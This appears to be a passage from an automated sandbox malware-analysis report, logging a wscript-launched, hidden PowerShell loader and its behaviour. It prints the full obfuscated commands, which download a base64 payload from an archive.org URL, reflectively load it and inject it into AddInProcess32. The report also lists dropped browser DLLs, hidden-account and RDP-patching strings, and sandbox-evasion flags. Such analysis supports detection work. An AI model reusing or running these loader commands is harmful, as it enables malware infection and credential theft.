snZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_004060B0 LoadLibraryA,GetProcAddress,ExitProcess,

5_2_004060B0

Source: msvcp140.dll.5.dr	Static PE information: section name: .didat
Source: mozglue.dll.5.dr	Static PE information: section name: .didat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF7BFEC00BD pushad ; iretd	2_2_00007FF7BFEC00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF7BFEE00BD pushad ; iretd	4_2_00007FF7BFEE00C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_004011C0 push eax; ret	5_2_004011D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_004011C0 push eax; ret	5_2_004011FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0041C225 pushad ; retn 0041h	5_2_0041C22D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_004174D1 push ebp; retf	5_2_00417584
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00417570 push ebp; retf	5_2_00417584

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040D2B8 NetUserAdd,NetLocalGroupAddMembers,

5_2_0040D2B8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040290E URLDownloadToFileW,ShellExecuteW,

5_2_0040290E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Temp\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Temp\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Temp\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Temp\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Temp\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Temp\mozglue.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040A36F lstrcatW,GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW,		5_2_0040A36F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00409E2D GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW,		5_2_00409E2D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040D3A8 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

5_2_0040D3A8

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 0.rudp\ICACLS.exe\xcopy.exe "" /GRANT:r *S-1-1-0:(OI)(CI)F /T\AppData\Local\Google\AppData\Local\Google\xcopy.exe /Y /E /C \AppData\Roaming\Mozilla\AppData\Roaming\Mozilla\\AppData\Roaming\Microsoft\AppData\Roaming\Microsoft\\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameTypemultirdp[experimental] patch Terminal Server service to allow multiples userstermsrv.dllexplorer.exeTASKmgr.exeProcessHacker.exeregedit.exentdll.dllLdrGetProcedureAddressRtlNtStatusToDosErrorRtlSetLastWin32ErrorNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryLdrLoadDllRtlCreateUserThread
Source: powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 0.rudp\ICACLS.exe\xcopy.exe "" /GRANT:r *S-1-1-0:(OI)(CI)F /T\AppData\Local\Google\AppData\Local\Google\xcopy.exe /Y /E /C \AppData\Roaming\Mozilla\AppData\Roaming\Mozilla\\AppData\Roaming\Microsoft\AppData\Roaming\Microsoft\\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameTypemultirdp[experimental] patch Terminal Server service to allow multiples userstermsrv.dllexplorer.exeTASKmgr.exeProcessHacker.exeregedit.exentdll.dllLdrGetProcedureAddressRtlNtStatusToDosErrorRtlSetLastWin32ErrorNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryLdrLoadDllRtlCreateUserThread
Source: AddInProcess32.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 0.rudp\ICACLS.exe\xcopy.exe "" /GRANT:r *S-1-1-0:(OI)(CI)F /T\AppData\Local\Google\AppData\Local\Google\xcopy.exe /Y /E /C \AppData\Roaming\Mozilla\AppData\Roaming\Mozilla\\AppData\Roaming\Microsoft\AppData\Roaming\Microsoft\\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameTypemultirdp[experimental] patch Terminal Server service to allow multiples userstermsrv.dllexplorer.exeTASKmgr.exeProcessHacker.exeregedit.exentdll.dllLdrGetProcedureAddressRtlNtStatusToDosErrorRtlSetLastWin32ErrorNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryLdrLoadDllRtlCreateUserThread

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File opened: C:\Windows\SysWOW64\:Zone.Identifier read attributes | delete

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
